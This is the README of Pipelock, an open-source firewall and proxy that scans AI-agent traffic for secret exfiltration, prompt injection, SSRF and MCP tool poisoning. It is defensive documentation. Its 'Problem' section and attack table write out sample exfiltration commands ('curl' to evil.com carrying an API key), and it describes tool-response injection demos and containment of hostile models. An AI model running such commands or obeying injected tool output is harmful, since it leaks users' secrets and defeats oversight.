
pipelab-org/pipelock
Developer toolsOpen-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action...
Overview
Open-source AI agent firewall for Verifiable Egress Control . Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level. Configured MCP upstreams are an exception to private-address SSRF blocking: local/private servers are allowed, but cloud metadata endpoints remain blocked. Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
README
Open-source AI agent firewall for Verifiable Egress Control.
Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level. Configured MCP upstreams are an exception to private-address SSRF blocking: local/private servers are allowed, but cloud metadata endpoints remain blocked.
Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product’s scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problem · Verify · Quick Start · Action · Catches · Features · Architecture · Docs · Playground · Blog · Ask Dosu
Try it in your browser at the live playground. If Pipelock earns it, star the repo so other people find it.
The Problem
Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.
Verify It Yourself
Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.
The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is .json)
The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.
The evidence viewer is free and needs no license. It reads a flight-recorder session, which is what Pipelock writes while it runs, rather than the demo receipts above:
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder # same report, served read-only
Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. pipelock anchor receipts records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.
The full argument for why proof beats promises is in demonstration over attestation.
Quick Start
These examples target the published v3.7.0 release. For an existing deployment, read the 3.7 upgrade guide before changing the binary or configuration.
Prebuilt releases: Download the archive for your OS and architecture from GitHub Releases and verify release integrity before installing. Release binaries include the public keyring needed by pipelock update to verify signed release manifests.
Source builds: The commands below build the Community edition. By default, make build and make install don’t embed the release-verification keyring, so pipelock update can’t install updates from these builds. To upgrade, rebuild from source or install a verified prebuilt release.
# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.7.0 --depth 1 https://github.com/pipelab-org/pipelock.git
make -C pipelock install
# Discover local agent integrations and save a config
pipelock init --output ./pipelock.yaml
# Test the scanner
pipelock check --config ./pipelock.yaml --url "https://api.vendor.example/?k=$(printf '%s%s' 'AKIA' 'IOSFODNN7EXAMPLE')" # blocked: AWS Access ID
pipelock check --config ./pipelock.yaml --url "https://docs.python.org/3/" # allowed
Verify release integrity
Use GitHub CLI v2.102.0 or later for attestation verification; this release fixes a workflow signer-matching vulnerability.
gh attestation verify pipelock_3.7.0_linux_amd64.tar.gz --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.7.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
# Helm chart, attested from 3.6.0 on:
gh attestation verify oci://ghcr.io/luckypipewrench/charts/pipelock:3.7.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images, and (from 3.6.0) an attested Helm chart. Source builds made with make build or make install produce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.
See It In Action
The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.
The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.
What It Catches
Pipelock runs in three modes:
| Mode | Security | Web Browsing | Use Case |
|---|---|---|---|
| strict | Allowlist-only | None | Regulated industries, high-security |
| balanced | Blocks naive + detects sophisticated | Via fetch or forward proxy | Most developers (default) |
| audit | Ordinary policy warns; core floors can block | Via fetch or forward proxy, with core destination checks | Evaluate policy with core protection active |
For agents running uncensored or abliterated models, the hostile-model preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains through dependency signals.
| Attack Vector | Strict | Balanced | Audit |
|---|---|---|---|
curl evil.com -d $SECRET |
Prevented | Prevented | Logged |
| Secret in URL query params | Prevented | Detected by DLP | Logged |
| Base64-encoded secret in URL | Prevented | Detected by entropy and decoded DLP | Logged |
| DNS tunneling | Prevented | Detected by subdomain entropy | Logged |
| Chunked exfiltration | Prevented | Detected by rate, budget, and fragment checks | Logged |
| Public-key encrypted blob in URL | Prevented | Logged when entropy flags it | Logged |
Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from “one curl command” to “sophisticated pre-planned attack.” Audit mode gives you visibility you don’t have today. With the sandbox enabled (
pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.
Comparison
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |
|---|---|---|---|---|
| Secret exfiltration prevention | Strict blocks; balanced detects | Partial (proxy mode) | Partial (domain-level) | Yes |
| DLP + entropy analysis | Yes | No | No | Partial |
| Prompt injection detection | Yes | Yes | No | No |
| MCP scanning (bidirectional + tool poisoning) | Yes | Yes | No | No |
| WebSocket proxy (frame scanning) | Yes | No | No | No |
| MCP HTTP transport (Streamable HTTP) | Yes | No | No | No |
| Emergency kill switch (7 sources) | Yes | No | No | No |
| Tool call chain detection | Yes | No | No | No |
| Process sandbox (no Docker) | Yes | No | No | Yes (kernel-level) |
| Single binary, no runtime deps | Yes | No (Python) | No (npm) | No (kernel) |
Reference matrix: docs/comparison.md
Canonical comparison hub: AI runtime security comparison
What It Does
Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.
Detection And Scanning
- Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path, query and subdomain entropy analysis, nested URL destinations in query parameters, DNS SSRF and rebinding protection, per-domain rate limits, data budgets, and final context checks. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.
- DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.
- Response scanning: 34 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are
block,strip,warn, orask. - Streaming SSE:
text/event-streamresponses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide. - Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.
- Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as `` across HTTP, WebSocket, and MCP
tools/callarguments. Receipts record the active profile and per-class counts instead of plaintext secrets. - Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.
- Explainable findings:
pipelock explain(alsoexplain event,explain mcp-response, andexplain responsefor a saved HTTP response body) prints the scanner, layer, matching rule, inspected surface, and the narrowest available config knob for a false positive. Seedocs/cli/explain.md. - Canary tokens:
pipelock canarygenerates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens. - Skill-file scanning:
pipelock skill-scaninventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. Seedocs/cli/skill-scan.md.
MCP Security
Pipelock wraps MCP servers with bidirectional scanning:
# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp
# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.
- Response scanning: server responses are scanned before the agent sees them.
- Tool poisoning:
tools/listdescriptions are checked for hidden instructions and mid-session rug-pull changes. - Tool policy: 30 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.
- Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.
- A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.
- Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require
--mcp-auth-token-file, or an explicit--mcp-allow-unauthenticatedfor network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.
Containment
Unprivileged process containment uses OS-native primitives. Linux uses Landlock and network namespaces; linux/amd64 also applies seccomp. Other Linux builds label the launch partial while the network namespace is active, and --strict refuses them. macOS uses sandbox-exec profiles. In containers, --best-effort keeps Landlock and, on linux/amd64, seccomp when namespace creation is restricted. Its expiry bounds admission only: it never stops a child already running, and each later launch must be re-authorized. A launch without the namespace is labelled advisory-override regardless of architecture, because the missing namespace is the more serious gap: network scanning then uses proxy-based routing and may be bypassed by direct egress.
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
--best-effort-reason "container user namespaces disabled" \
--best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
Host containment goes further on Linux:
pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code
pipelock contain (install, run, verify, doctor, rollback, add-tool, workspace grants, ca-refresh, reload-nft-rules, and more) manages a 3-UID operator / proxy / agent model: the agent runs in a private network namespace with no route off-host, reaching only the Pipelock proxy through a doorway socket, with nftables owner-match rules as the fallback backstop, plus systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See docs/contain-cli.md.
Evidence And Receipts
The released 3.7.0 binary completed 1,000,000 requests with zero missing receipt records, and its eight-chain signed group verified GROUP_VALID. It sustained 333 requests/s with required receipts on a 6-core/12-thread i7-10750H under an 8-CPU quota. Request and record counts differ because each action can produce several evidence records. See the measured workload and detection limits; this is a workload result, not a capacity guarantee.
- Flight recorder: per-writer hash-chained JSONL evidence with Ed25519-signed checkpoints and DLP redaction.
pipelock initprovisions a recorder directory and signing key for stock installs. Recording needs a directory, and because checkpoint signing is on by default it also needs a signing key; setsign_checkpoints: falsefor an explicitly unsigned hash-chained recorder. Usepipelock evidence doctor DIRto detect structural damage in an evidence directory. See Flight Recorder. - Action receipts: signed records emitted for mediated actions, carrying verdict, policy hash, transport, and scanner layer. Blocks produce receipts; allow-path receipt enforcement requires
flight_recorder.require_receipts. Verify withpipelock verify-receipt --key. Unpinned runs are structural-only and exit non-zero unless--allow-unpinnedis passed. - Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP
_meta, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide. - Receipt conformance: four independent cross-language verifier implementations (Go, TypeScript, Rust, and Python) run against one shared conformance corpus, including malformed and forgeable inputs such as duplicate keys, integer overflow, and unpaired surrogates. A browser wasm surface reuses the Go verifier implementation. AARP/SVID appraisal remains an offline verifier profile, not runtime identity enforcement.
- Anchors:
pipelock anchor receiptsrecords receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven. - Posture capsule:
pipelock posture emitandpipelock posture verifyproduce and check a signed snapshot of a deployment’s enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.
Fleet And Enterprise
- Operator dashboard:
pipelock dashboard serveis a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. Seedocs/cli/dashboard.md. - Free evidence viewer:
pipelock evidence serveandpipelock evidence viewrender one selected recorder session without a license or cross-agent enumeration.pipelock evidence verify-certverifies Pro-issued coverage certificates offline. - Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (
pipelock fleet-sink), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally; the default stale-policy mode engages an independent deny source after its grace window, while the documentedcontinue_last_known_goodoverride weakens that posture. Conductor holds no agent secrets. See the Conductor guide. - Legal hold:
pipelock dashboard legal-hold add/list/releasemanages preservation holds as compliance metadata kept outside the dashboard’s HTTP authority, so a compromised dashboard can read holds but never forge or delete them. - Behavioral baseline: profile-then-lock for MCP tool behavior with
pipelock baseline list/show/ratify/forgetfor operator approval and relearning. Seedocs/cli/baseline.md.
Operability
- Kill switch: seven independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, stale-bundle detection, and uncertain Conductor apply. Any one active source blocks traffic. Endpoint and IP exemptions apply only to HTTP requests, never to MCP transports, the reverse proxy or established relays, and the IP allowlist is ignored during uncertain Conductor apply.
- Scan API: programmatic scanning for
url,dlp,prompt_injection, andtool_callverdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md. - Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.
- Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.
- Security assessment:
pipelock assess init,pipelock assess run, andpipelock assess finalizeorchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. Every finalized assessment is Ed25519-signed by default, licensed or not, so the finalized run directory can be checked withpipelock assess verify, which hashes the manifest-listed artifacts and verifies the detached manifest signature. Pass--unsignedtoassess finalizeto skip signing. The free summary shows your grade, section scores, top findings, and compliance coverage counts; a license unlocks the full report with server-specific findings, remediation commands, and the detached attestation and badge.
Free, Pro, and Enterprise
All detection, enforcement, containment, receipt verification, and the free single-agent evidence viewer are free forever under Apache 2.0. Pro adds named-agent operations, including per-agent coverage certificates; Enterprise adds fleet governance and compliance.
| Capability | Free | Pro | Enterprise |
|---|---|---|---|
| Scanning and detection (ordered URL pipeline, DLP, injection, SSRF, streaming SSE, redaction, address protection) | Yes | Yes | Yes |
| MCP and A2A scanning (input, response, tool policy, tool chain, poisoning, integrity, authenticated listeners; configured upstreams allow local/private servers and still block cloud metadata) | Yes | Yes | Yes |
Containment, sandbox, host contain, 7-source kill switch |
Yes | Yes | Yes |
Action receipts, flight recorder, anchors, free evidence viewer, verify-cert, standalone verifier |
Yes | Yes | Yes |
Canary tokens, skill-scan, explain, single-instance Prometheus and Grafana |
Yes | Yes | Yes |
| Per-agent profiles: identity, budgets, config and scanner isolation, per-agent sandbox | No | Yes | Yes |
| Per-agent routing by source CIDR and network selector | No | Yes | Yes |
| Operator dashboard: Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys | No | Yes | Yes |
| Per-agent coverage certificates | No | Yes | Yes |
| Legal hold and compliance metadata | No | Yes | Yes |
Conductor fleet control plane, fleet-sink audit sink, remote kill, rollback, decision replay, drift preflight |
No | No | Yes |
| mTLS follower enrollment and roster-verified signed policy distribution | No | No | Yes |
| Dashboard fleet views: Fleet, Workbench, Incident | No | No | Yes |
The full pipelock assess report is a separate assess entitlement, independent of Pro and Enterprise. Signing is not part of that entitlement: the free summary is signed too, and the free assess grade is unchanged.
How It Works
Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can’t reach the firewall’s controls.
Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:
- Fetch proxy (
/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content. - Forward proxy (
HTTPS_PROXY): Standard HTTP CONNECT tunneling without application code changes. Proxy configuration is still required. Optional TLS interception enables payload scanning. - WebSocket proxy (
/ws?url=ws://...): Scans client-to-server text frames for DLP and prompt injection, and server-to-client text frames for prompt injection. - MCP proxy (
pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning. - A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.
Configuration
Generate a config from a built-in preset, or let pipelock audit tailor one to your project:
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI Preset | Mode | Action | Best For |
|---|---|---|---|
balanced |
balanced | warn | General purpose (default) |
strict |
strict | block | High-security, regulated industries |
audit |
audit | warn | Evaluate ordinary policy; core floors can block |
claude-code |
balanced | block | Claude Code unattended |
cursor |
balanced | block | Cursor IDE |
generic-agent |
balanced | warn | New agents during tuning |
hostile-model |
strict | block | Uncensored/abliterated models |
Config changes are picked up through file watcher or SIGHUP. Full reference: docs/configuration.md
For false positive tuning: docs/false-positive-tuning.md
Integration Guides
- Claude Code: MCP proxy setup,
.claude.jsonconfiguration - OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration
- Cline: MCP proxy wrapping for Cline’s
mcp.json - Continue.dev: MCP proxy wrapping for Continue YAML configuration
- OpenCode: MCP proxy wrapping for OpenCode’s local and remote MCP servers
- Pi: global
httpProxysetup with a named agent listener (example) - Zed: MCP proxy wrapping for Zed’s
context_serversblock insettings.json - OpenAI Agents SDK:
MCPServerStdio, multi-agent handoffs - Google ADK:
McpToolset,StdioConnectionParams - AutoGen:
StdioServerParams,mcp_server_tools() - CrewAI:
MCPServerStdiowrapping,MCPServerAdapter - LangGraph:
MultiServerMCPClient,StateGraph - Hermes: full-plugin coverage or lighter MCP-only wrapping for Nous Research’s agent, with auth-header sidecar preservation
- Grok Build: forward proxy via
HTTPS_PROXY/HTTP_PROXYplus manual MCP wrap (grok mcp add … -- pipelock mcp proxy); no automatic installer - JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
- Cursor:
pipelock cursor installregisters Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use--configto embed a validated policy path andpipelock cursor removeto remove Pipelock-managed hooks. You can also useconfigs/cursor.yamlwith the same MCP proxy pattern as Claude Code (walkthrough) - VS Code:
pipelock vscode installrewrites.vscode/mcp.jsonto route every MCP server through the MCP proxy;--globaltargets the user-levelmcp.json - OpenClaw: gateway sidecar, init container, config wrapping
- Any other MCP client:
pipelock generate mcporterreads any JSON file with a top-levelmcpServersobject and wraps every server through Pipelock’s proxy, so a client that is not on the list above still routes through scanning in one command.
Deployment
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.7.0
docker run -p 8888:8888 -v "$(pwd)/pipelock.yaml":/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:3.7.0 \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm (Helm 3.8+)
helm install pipelock oci://ghcr.io/luckypipewrench/charts/pipelock --version 3.7.0
Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: docs/guides/deployment-recipes.md
CI Integration
The commit below pins the action source; its action.yml is identical to the one at the v3.7.0 tag. The action’s version input defaults to latest, so the explicit version keeps the binary on 3.7.0.
# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@47c14c59b14f835f53971d22941b556f44f2baa0 # v3.7.0
with:
version: '3.7.0'
scan-diff: 'true'
fail-on-findings: 'true'
The action downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.
Runnable Demo: Tool-Response Injection
The examples/tool-response-injection/ harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Community Rules
Pipelock’s built-in DLP, injection, and tool-poison detection is strong out of the box. Community rule bundles let you go further: add your own patterns for the exfiltration shapes, secret formats, and injection tricks your stack sees, sign them, and ship them on a cadence you control instead of waiting for a release.
Install the official bundle in one line:
pipelock rules install pipelock-community
Rule bundles are signed and version-locked. The full lifecycle is a shipped command, not a config edit:
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
Write your own. A rule is a small YAML entry with a name, a category (DLP, injection, or tool-poison), and a pattern. Sign it with your key, drop it in a bundle, and every Pipelock instance you run picks it up. Share it with the community and it protects everyone else too.
Contribute a rule to the public pipelock-rules bundle, or read docs/rules.md to build and sign your own.
Docs
Full docs directory: docs/
| Document | What’s In It |
|---|---|
| Upgrading to 3.7 | Receipt completion, containment restart, verifier compatibility, detection tradeoffs and new policy fields |
| Configuration Reference | All config fields, defaults, hot-reload behavior, presets |
| Request Policy | Allow-by-default deny/warn rails on outbound API operations (GraphQL / discriminator / batch), fail-closed (v2.6) |
| Request Redaction | JSON request rewriting across HTTP, WebSocket, and MCP transports |
| False Positive Tuning | Identifying, suppressing, and tuning scanner findings |
| Scan API | Evaluation endpoint for programmatic scanning |
| Deployment Recipes | Docker Compose, K8s sidecar, iptables, macOS PF |
| Kubernetes Image Upgrades | Digest-pinned releases, live image-ID checks, and rollback |
pipelock doctor |
Configured-vs-enforceable deployment diagnostics for proxy, TLS, MCP, file_sentry, telemetry, and containment signals |
pipelock dashboard |
Operator dashboard setup: auth modes, RBAC permissions, evidence, exemptions, budgets, trust and keys, fleet views, backup/restore, and coverage certificates |
pipelock verify-install |
Deterministic scanning, local proof, and direct-egress smoke checks |
pipelock update |
Verified self-update: signed release manifest, checksum verification, optional cosign cross-check, atomic install, rollback |
| Bypass Resistance | Known evasion techniques, mitigations, limitations |
| Known Attacks Blocked | Real attacks with repro snippets |
| SIEM Integration | Log schema, CEF/syslog output, durable Enterprise forwarding, lifecycle, metrics, SIEM queries |
| Metrics Reference | Prometheus metric families, labels, JSON stats, and alert rules |
| Community Rules | Install, configure, and create signed rule bundles |
| Security Assurance | Security model, trust boundaries, supply chain |
| Security Documents | Disclosure policy, unsupported paths, key rotation, TLS CA and Audit Packet threat models |
| Enterprise Readiness | Shipped enterprise controls, evaluation path, deployment decisions, and explicit boundaries |
| Reproducible Builds | Byte-for-byte OSS binary check, stable inputs, release integration, and scope |
| Finding Suppression | Rule names, path matching, inline comments |
| Transport Modes | All proxy modes and their scanning capabilities |
| OWASP MCP Top 10 | OWASP MCP Top 10 coverage |
| OWASP Agentic Top 15 | OWASP Agentic AI Top 15 coverage |
| OWASP LLM Top 10 | OWASP Top 10 for LLM Applications (2025) coverage |
| EU AI Act | EU AI Act compliance mapping |
| NIST 800-53 | NIST SP 800-53 Rev. 5 controls mapping |
| Assess Mapping | Maps runtime controls to the frameworks pipelock assess produces evidence against, for procurement and audit review |
| Policy Spec v0.1 | Portable agent firewall policy format |
| Mediation Envelope | Sideband metadata headers, config, interaction with receipts |
| Media Policy | Stego stripping, SVG hardening, allowed types, size limits |
| Evidence Terminology | Quick reference for ActionReceipt, EvidenceReceipt, flight recorder, checkpoints, anchors, coverage certificates, and Audit Packets, with the integrity-vs-completeness and pinned-vs-unpinned distinctions |
| Receipt Verification | pipelock verify-receipt, Fleet Receipt Report verification, standalone pipelock-verifier, conformance suite, chain integrity |
| Receipt Spec Profiles | in-toto attestation predicate for action receipts, with companion SCITT and AARP profiles and prior-art mapping |
| Audit Packet Threat Model | What verified Audit Packets prove, what they do not prove, and the trust assumptions relying parties must pin |
| Receipt Transport Coverage | Receipt emission matrix across fetch, forward, CONNECT/TLS, WebSocket, MCP, and A2A paths |
| Learn-and-Lock | Per-agent behavioral contracts: observe, compile, shadow, ratify, promote (v2.4) |
| Federation | Inbound mediation envelope verification, SPIFFE actor format, RFC 9421 well-known directory (v2.4) |
| Block-Reason Header | X-Pipelock-Block-Reason schema, reason vocabulary, retry hints (v2.4) |
| Health Endpoint | /health 503 wedge detection, subsystem heartbeats, operator dashboard config (v2.4) |
| Host Containment | pipelock contain (install, run, verify, doctor, rollback, add-tool, workspace grants, ca-refresh, reload-nft-rules, and more) for 3-UID containment (private network namespace as the primary boundary, nftables owner-match as the fallback) with kernel-observed posture attestation (v2.5) |
| MCP Integrity Manifests | Generate, verify, sign, and require trusted MCP binary-integrity manifests (v2.5) |
| Adaptive CLI | Inspect and flush adaptive-enforcement runtime state through the admin API (v2.5) |
| Conductor | The Enterprise fleet control plane: policy distribution, audit sink, remote kill, rollback, mTLS/SPIFFE trust, licensing (v2.7, Enterprise) |
| Conductor Operator Runbook | Hands-on local fleet walkthrough: bootstrap, serve, sign a batch, verify offline |
| Conductor Operator Quickstart | Zero to a read-only fleet audit: license, operator mTLS cert, auditor token, read-only commands |
| Kubernetes Enterprise Deployment | Helm-based Conductor fleet: control plane, followers, fleet-sink, PKI Secrets, NetworkPolicies |
pipelock license |
Install, inspect, and check the license that unlocks paid features (Pro agents, Enterprise fleet) |
pipelock baseline |
Inspect, ratify, and relearn behavioral-baseline profiles through the authenticated admin API |
| Posture Capsule | Signed posture snapshots, posture verify CLI, CI gate, scoring model |
pipelock init sidecar |
Generate enforced Kubernetes companion-proxy manifests and MCP launcher contracts (strategic-merge, Kustomize, Helm values) |
pipelock session |
Operator CLI for airlock inspection and recovery (list, inspect, explain, release, terminate, recover) |
pipelock keys status |
Unified signing-key inventory: per-purpose source, presence, readability, validity, and public-key fingerprint |
| Flight Recorder | Hash-chained signed evidence log: default-on behavior, transcript-root seal, redaction, escrow, key rotation |
| TLS Interception | CONNECT-tunnel MITM: CA setup, body/header/response scanning, passthrough domains |
| Canary Tokens | Synthetic secrets that trip an alert the moment an agent tries to exfiltrate one |
| Detection Integration | Feed Pipelock decisions and evidence into external detection / SIEM pipelines |
| Agent Review | Maintainer-triggered pull request review (/review or /review deep comment), run from pipelab-org/agent-review |
| MCP Inspector Front | Front MCP dev tools (Inspector, test servers) through Pipelock scanning |
pipelock demo |
Self-contained attack scenarios with signed, offline-verifiable receipts, no config or network needed |
| Badges | Drop-in Markdown for the scanned by pipelock badge on downstream projects |
Project Structure
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ `pipelock doctor` and install-verification diagnostics
session/ `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
setup/ `pipelock init sidecar`: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
